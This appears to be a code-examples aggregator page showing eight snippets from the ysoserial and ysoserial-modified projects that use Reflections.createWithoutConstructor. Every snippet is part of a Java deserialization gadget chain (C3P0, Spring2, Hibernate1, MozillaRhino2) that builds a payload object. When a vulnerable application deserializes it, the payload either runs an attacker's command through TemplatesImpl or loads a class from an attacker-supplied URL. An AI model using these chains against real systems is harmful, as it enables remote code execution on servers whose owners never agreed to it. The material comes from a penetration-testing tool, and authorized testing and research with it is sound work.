Java Code Examples for ysoserial.payloads.util.Reflections#createWithoutConstructor()

The following examples show how to use ysoserial.payloads.util.Reflections#createWithoutConstructor() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: C3P0.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
	
	String command = cmdHelper.getCommand();
    int sep = command.lastIndexOf(':');
    if ( sep < 0 ) {
        throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
    }

    
    String url = command.substring(0, sep);
    String className = command.substring(sep + 1);
    
    PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
    Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
    return b;
}
Example 2
Source File: Spring2.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
Example 3
Source File: Hibernate1.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
Example 4
Source File: Spring2.java    From ysoserial with MIT License 6 votes vote down vote up 
public Object getObject ( final String command ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
Example 5
Source File: Hibernate1.java    From ysoserial with MIT License 6 votes vote down vote up 
static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
Example 6
Source File: C3P0.java    From ysoserial with MIT License 5 votes vote down vote up 
public Object getObject ( String command ) throws Exception {
    int sep = command.lastIndexOf(':');
    if ( sep < 0 ) {
        throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
    }

    String url = command.substring(0, sep);
    String className = command.substring(sep + 1);

    PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
    Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
    return b;
}
Example 7
Source File: Hibernate1.java    From ysoserial with MIT License 5 votes vote down vote up 
static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    // Load at runtime to avoid dependency conflicts
    Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
    Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
    Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");

    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
    Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    HashMap hm = new HashMap();
    hm.put(EntityMode.POJO, tup);
    Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
    Reflections.setFieldValue(t, "tuplizerMapping", emtm);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
    Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
Example 8
Source File: MozillaRhino2.java    From ysoserial with MIT License 4 votes vote down vote up 
public Object getObject( String command) throws Exception {
    ScriptableObject dummyScope = new Environment();
    Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
    associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
    Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);

    Object initContextMemberBox = Reflections.createWithConstructor(
        Class.forName("org.mozilla.javascript.MemberBox"),
        (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
        new Class[] {Method.class},
        new Object[] {Context.class.getMethod("enter")});

    ScriptableObject initContextScriptableObject = new Environment();
    Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
    Reflections.setAccessible(makeSlot);
    Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
    Reflections.setFieldValue(slot, "getter", initContextMemberBox);

    NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
    Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
    Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
    Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
        this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
    Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);

    ScriptableObject scriptableObject = new Environment();
    scriptableObject.setParentScope(initContextNativeJavaObject);
    makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);

    NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
    Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
    Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
    nativeJavaArray.setPrototype(scriptableObject);
    Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);

    NativeJavaObject nativeJavaObject = new NativeJavaObject();
    Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
    Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
    Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
        this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
    Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);

    return nativeJavaObject;
}